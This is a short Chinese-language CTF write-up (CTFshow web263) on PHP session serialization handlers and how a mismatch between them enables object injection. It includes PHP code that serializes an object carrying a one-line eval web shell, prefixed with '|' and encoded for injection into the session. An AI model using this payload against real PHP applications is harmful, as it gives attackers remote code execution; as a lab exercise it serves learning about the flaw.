CTFSHOW-web263-php不同的session处理
PHP session 存储方式
php_serialize 经过 serialize() 函数序列化数组 a:1:{s:4:“name”;s:5:“ocean”;} php(默认) 键名 竖线 经过 serialize() 函数处理的值 name|s:5:“ocean”; php_binary 键名的长度对应的ascii字符 键名 serialize() 函数序列化的值 name s:6:“spoock”;
<?php session_start(); class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } } $user = new User('1.php','<?php eval($_POST[a]);?>'); echo urlencode(base64_encode("|".serialize($user)));